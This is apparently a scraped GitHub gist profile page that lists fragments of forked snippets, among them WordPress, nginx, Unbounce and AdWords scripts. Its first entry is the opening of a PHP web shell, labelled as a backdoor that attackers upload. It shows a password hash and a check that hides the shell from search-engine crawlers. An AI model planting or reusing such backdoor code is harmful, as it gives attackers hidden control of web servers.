Skip to content

Instantly share code, notes, and snippets.

@blueprintmrk
blueprintmrk / gist:2da6b05e61d41cd6d6e82705a868e1f6
Created January 1, 2018 20:09 — forked from dodyw/gist:8213007
Backdoor script type #2, usually uploaded by hacker to folder with 777 permission.
<?php
$auth_pass = "460c3646e4c75a4fae5c8fe817e0c435";
$color = "#00FF66";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action = 'FilesMan';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@blueprintmrk
blueprintmrk / ubAdwordsCallTracking.html
Created January 3, 2018 19:43 — forked from johnnyopao/ubAdwordsCallTracking.html
Unbounce - Adwords Call tracking - Consolidated (text/links/buttons) - See full instructions here: http://documentation.unbounce.com/hc/en-us/articles/203509834
<script>
// NOTE: If you want to track these links as conversion goals on Unbounce,
// change 'clkn' to 'clkg' in the commented areas below
// Add the button ID's to this array that you want tracked
// For example: ['#lp-pom-button-12', '#lp-pom-button-20']
var callButtons = [];
var ubCallback = function(formatted_number, unformatted_number) {
var numberLinks = document.getElementsByClassName('number_link');

Rewrite rules for Multisite using subdomains

map $http_host $blogid { default -999;

#Ref: http://wordpress.org/extend/plugins/nginx-helper/
#include /var/www/wordpress/wp-content/plugins/nginx-helper/map.conf ;

}

function my_assets() {
wp_register_script( 'owl-carousel', get_stylesheet_directory_uri() . '/owl.carousel.js', array( 'jquery' ) );
wp_enqueue_script( 'owl-carousel' );
}
add_action( 'wp_enqueue_scripts', 'my_assets' );
function my_assets() {
wp_register_script( 'owl-carousel', get_stylesheet_directory_uri() . '/owl.carousel.js', array( 'jquery' ) );
wp_enqueue_script( 'owl-carousel' );
}
add_action( 'wp_enqueue_scripts', 'my_assets' );
@blueprintmrk
blueprintmrk / the_thing.sh
Created April 10, 2018 16:16 — forked from digitaldesigndj/the_thing.sh
Pantheon WP CLI Terminus Search Replace
#!/bin/bash
terminus wp 'search-replace live-serviceaide.pantheonsite.io dev-serviceaide.pantheon.io --skip-columns=guid' --site=wordpress --env=dev
@blueprintmrk
blueprintmrk / Broad match keyword aggregating.js
Created June 30, 2018 23:57 — forked from BrainlabsDigital/Broad match keyword aggregating.js
Script to aggregate your broad match keywords
/**
*
* Broad-match keyword aggregator script
* This script will group equivalent broad match keywords and label based on performence
*
* Version: 1.1
* Updated 2016-10-11: replaced 'ConvertedClicks' with 'Conversions'
* Google AdWords Script maintained by brainlabsdigital.com
*
**/
@blueprintmrk
blueprintmrk / Check If You've Screwed Up Your AdWords Account v2.js
Last active July 21, 2018 17:38 — forked from BrainlabsDigital/Check If You've Screwed Up Your AdWords Account v2.js
Script to check keyword, ad and extension text for basic errors or out-of-date messaging.
/**
*
* AdWords Script for keyword and ad checking.
* Checks keyword text for punctuation suggesting the wrong match type, checks
* broad match keywords for missing BMM. Checks ad, sitelink and callout text
* for text that suggests ads are out-of-date (like previous years and seasonal
* events) and for common English spelling mistakes.
*
* Version: 2.1
* Updated 2017-01-05: changed 'CreativeApprovalStatus' to 'CombinedApprovalStatus'
@blueprintmrk
blueprintmrk / Domain Name Checker.js
Created October 10, 2018 18:31 — forked from BrainlabsDigital/Domain Name Checker.js
Script to find if any ads or keywords have landing pages with the wrong domain.
/**
*
* Domain Name Checker
*
* This script will scan through your keyword and ad URLs, checking the domain
* names for anything out of place, and output any discrepancies it finds into a
* Google Sheet.
*
* Version: 1.0
* Google AdWords Script maintained on brainlabsdigital.com
/**
*
* Account Structure Checker
*
* This script will check your account for any missing keyword match types
* are output a report with the missing keywords
*
* Version: 1.0
* Google AdWords Script maintained on brainlabsdigital.com
*